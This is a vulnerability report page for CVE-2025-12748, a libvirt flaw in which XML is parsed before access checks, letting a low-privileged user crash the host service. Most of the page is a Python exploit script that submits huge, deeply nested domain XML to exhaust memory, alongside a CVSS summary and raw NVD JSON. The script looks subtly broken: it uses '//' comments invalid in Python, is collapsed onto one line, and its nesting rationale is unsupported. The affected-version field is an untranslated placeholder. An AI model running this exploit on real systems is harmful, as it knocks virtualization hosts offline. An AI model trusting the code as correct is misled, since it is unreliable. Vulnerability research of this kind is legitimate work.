Security Vulnerability Report
中文
CVE-2025-12748 CVSS 5.5 MEDIUM

CVE-2025-12748

Published: 2025-11-11 20:15:34
Last Modified: 2026-05-19 16:16:18

Description

A flaw was discovered in libvirt in the XML file processing. More specifically, the parsing of user provided XML files was performed before the ACL checks. A malicious user with limited permissions could exploit this flaw by submitting a specially crafted XML file, causing libvirt to allocate too much memory on the host. The excessive memory consumption could lead to a libvirt process crash on the host, resulting in a denial-of-service condition.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

libvirt < 修复版本
根据Red Hat errata: RHSA-2026:18326, RHSA-2026:18748

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-12748 PoC - Malicious XML causing memory exhaustion in libvirt // This PoC demonstrates the vulnerability by creating an XML with deeply nested elements // that can trigger excessive memory allocation before ACL checks import libvirt import sys import os def create_malicious_xml(): """Generate a crafted XML that causes excessive memory allocation""" # Create deeply nested XML structure # This exploits the vulnerability where parsing happens before ACL checks nested_xml = '''<domain type='kvm'> <name>poc-vm</name> <memory unit='KiB'>1048576</memory> <currentMemory unit='KiB'>1048576</currentMemory> <os> <type arch='x86_64' machine='pc-i440fx-2.9'>hvm</type>''' # Add extremely nested elements to trigger memory exhaustion # Each level adds more memory pressure during parsing for i in range(1000): nested_xml += f''' <nested{i}> <level1> <level2> <level3> <data>{'x' * 100000}</data> </level3> </level2> </level1> </nested{i}>''' nested_xml += ''' </os> </domain>''' return nested_xml def exploit_cve_2025_12748(conn_uri="qemu:///system"): """ Exploit CVE-2025-12748 by submitting crafted XML Note: Requires low-privilege access to libvirt """ try: # Connect to libvirt with limited permissions conn = libvirt.open(conn_uri) print(f"[+] Connected to {conn_uri}") # Generate malicious XML malicious_xml = create_malicious_xml() print(f"[+] Generated malicious XML with excessive nesting") # Attempt to define the domain # This will trigger parsing before ACL checks try: domain = conn.defineXML(malicious_xml) print("[+] Domain defined (vulnerability may not be triggered)") except libvirt.libvirtError as e: print(f"[+] Error occurred: {e}") print("[+] This may indicate the exploit triggered memory issues") conn.close() return True except Exception as e: print(f"[-] Exploit failed: {e}") return False if __name__ == "__main__": print("CVE-2025-12748 PoC - libvirt XML Memory Exhaustion") print("Target: libvirt < patched version") print("Attack Vector: Local with low privileges") print("-" * 50) # Execute exploit exploit_cve_2025_12748()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12748", "sourceIdentifier": "[email protected]", "published": "2025-11-11T20:15:34.453", "lastModified": "2026-05-19T16:16:17.817", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was discovered in libvirt in the XML file processing. More specifically, the parsing of user provided XML files was performed before the ACL checks. A malicious user with limited permissions could exploit this flaw by submitting a specially crafted XML file, causing libvirt to allocate too much memory on the host. The excessive memory consumption could lead to a libvirt process crash on the host, resulting in a denial-of-service condition."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-770"}]}], "references": [{"url": "https://access.redhat.com/errata/RHSA-2026:18326", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:18748", "source": "[email protected]"}, {"url": "https://access.redhat.com/security/cve/CVE-2025-12748", "source": "[email protected]"}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2413801", "source": "[email protected]"}]}}